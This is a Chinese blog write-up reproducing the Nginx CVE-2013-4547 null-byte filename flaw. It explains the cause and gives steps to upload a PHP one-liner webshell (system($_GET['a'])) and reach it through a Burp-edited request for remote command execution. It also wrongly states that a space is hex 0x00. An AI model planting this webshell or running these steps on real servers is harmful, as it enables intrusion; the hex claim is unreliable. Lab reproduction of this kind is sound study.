热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Nginx文件名逻辑漏洞(CVE20134547)漏洞复现

前言影响版本:Nginx0.8.41到1.4.31.5.0到1.5.7。利用条件:php-fpm.conf中的security.limit_exte

前言

影响版本:Nginx 0.8.41 到 1.4.3 / 1.5.0 到 1.5.7。

利用条件:php-fpm.conf中的security.limit_extensions为空。

建议在学习该漏洞前先学习nginx的原理:https://zhuanlan.zhihu.com/p/136801555。


security.limit_extensions设置了就只能解析指定后缀的文件,为空可以解析所有后缀文件。



漏洞原理

首先来看nginx解析php文件的配置信息:

location ~ \.php$ {include fastcgi_params;fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;fastcgi_param DOCUMENT_ROOT /var/www/html;
}

该配置文件大概意思就是匹配以.php结尾的文件,然后把这个文件当成php来执行。众所周知正则匹配遇到\0是不会停止匹配的,但是nginx遇到\0就会停止。

现在有一个文件名为a.jpg\0.php,该文件可以通过上面的正则匹配,并且交给php来解析,而且nginx将该文件交给php解析时遇到\0会停止读取文件名,所以真正去解析的文件名为a.jpg。按这个逻辑我们只要上传一个名为a.jpg的木马到服务器,然后访问a.jpg\0.php即可成功执行木马。但是实践中失败了,原因是nginx读取文件名中包含\0就会抛出一个错误并停止执行。


当我们在\0前加上空格时, nginx会跳过检测文件名中是否含有\0,这样就可以成功的利用00截断。

为什么在\0前加上空格就会跳过nginx对00截断的检测呢?这个需要审计nginx的代码,感兴趣的可以参考:https://blog.csdn.net/Blood_Pupil/article/details/88565176。


\0为字符串结束标志,十六进制为0x00

空格十六进制为0x00



漏洞复现

首先将一句话木马写入a.jpg中。

system($_GET['a']);?>

然后上传该文件,同时使用burpsuite截断数据。

在这里插入图片描述

在这里插入图片描述

在文件名末尾加上空格,如下图所示。然后点击Forward提交。


linux系统需要这一步,而windows系统可以省略。因为在windows中文件名不可以包含空格,而linux的文件名中可以包含空格。在访问a.jpg[20][00].jpg时,在windows系统中会识别为 a.jpg,在linux系统中会识别为 a.jpg[20]


在这里插入图片描述

然后可以在浏览器中看到上传文件的地址。

在这里插入图片描述

然后访问 http://192.168.119.131:8080/uploadfiles/a.jpg.php,同时用burpsuite抓取数据。

在这里插入图片描述

然后进入16进制编辑视图,在 .jpg.php中间添加 2000,这是空格和 /0的十六进制。

在这里插入图片描述

然后右击鼠标,点击 Send to Repeater发送到重放模块,然后点击导航栏上的Repeater,在这里可以多次发送数据包。

在文件名的后面添加上参数即可执行任意命令,如下图所示。

在这里插入图片描述


参考文献

[1] https://zhuanlan.zhihu.com/p/136801555,Nginx服务漏洞详解

[2] https://blog.csdn.net/Blood_Pupil/article/details/88565176,漏洞复现之CVE-2013-4547


推荐阅读
author-avatar
0o墨滴成殇
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有